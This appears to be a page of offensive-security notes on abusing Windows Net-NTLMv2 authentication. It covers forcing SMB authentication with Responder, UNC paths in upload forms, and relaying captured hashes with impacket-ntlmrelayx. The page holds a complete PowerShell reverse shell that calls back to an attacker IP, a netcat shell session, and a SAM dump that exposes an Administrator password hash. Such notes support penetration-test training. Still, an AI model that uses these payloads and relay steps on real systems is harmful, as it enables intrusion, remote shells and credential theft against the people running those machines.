NTLMv2
If we gain access as an unprivileged user and cannot use tools like mimikatz
, we can abuse the Net-NTLMv2 network authentication protocol which is responsible for managing the authentication process for Windows clients and servers over a network.
Net-NTLMv2 exists on almost all Windows environments for combatibility purposes and it's less secure than the more modern Kerberos protocols.
SMB Authentication
Direct SMB Auth
We'll send the server a request, outlining the connection details to access the SMB share.
Then the server will send us a challenge in which we encrypt data for our response with our NTLM hash to prove our identity.
The server will then check our challenge response and either grant or deny access, accordingly.
We can force this using responder
by connecting from the target to its SMB server as shown below:
# achieving RCE as a non-privileged user
$ nc 192.168.235.211 4444
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
files01\paul
C:\Windows\system32>net user paul
net user paul
User name paul
Full Name paul power
<SNIP>
Local Group Memberships *Remote Desktop Users *Users
SMB Auth via Upload
If we haven't achieved RCE, we could check for a file upload form in a web application on a Windows server and enter a non-existing file with a UNC path such as \\<attacker-IP>\share\nonexistent.txt
. If the web app supports SMB uploads, the Windows server will authenticate to our SMB server.
UNC Path Interpretation:
Powershell interprets UNC paths directly:
\\server\share
.Web requests interpret UNC paths according to the programming language used. Most of them treat
\
as an escape character, thus, it needs to be doubled in order to make it a literal:\\\\server\\share
.

BadPDF
If a file upload functionality is present, we can create and upload a malicious PDF file and force SMB authentication to our attacking machine. See more in: File Uploads → PDFs.
NTMLv2 Relay
If we’ve captured the NTLMv2 hash of a domain user (for example, through a malicious .lnk
file), but can’t crack it, we can still use it in a relay attack.
To successfully gain remote code execution (RCE) on the target host via NTLM relaying:
The relayed user account must have administrative privileges on the target.
The target host must have UAC remote restrictions disabled; otherwise, command execution will fail unless relaying to the built-in local Administrator account.
If options like -c
or -i
in ntlmrelayx
silently fail but actions like dumping the SAM still succeed, it's likely due to antivirus interference blocking payload execution.
Our objective is to start an SMB server on the attacking machine using the ntlmrelayx
module. This server will relay the NTLMv2 authentication to the target machine and execute a supplied command — in this case, a reverse shell payload. We can use CLI tools or CyberChef to Base64-encode the reverse shell for use in the payload:
# Base64 encoding the reverse shell payload
$client = New-Object System.Net.Sockets.TCPClient('192.168.X.186',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()as | iconv -t UTF-16LE | base64 -w 0
In case the reverse shell does not work, ntlmrelayx
will dump the SAM by default:
$ sudo impacket-ntlmrelayx -smb2support -t 192.168.163.174
...
[*] Target system bootKey: 0x99439972b8f85f1d0e63f6603bc9585d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:15759746f66f2da88d58f0160f8ee676:::
...
Last updated
Was this helpful?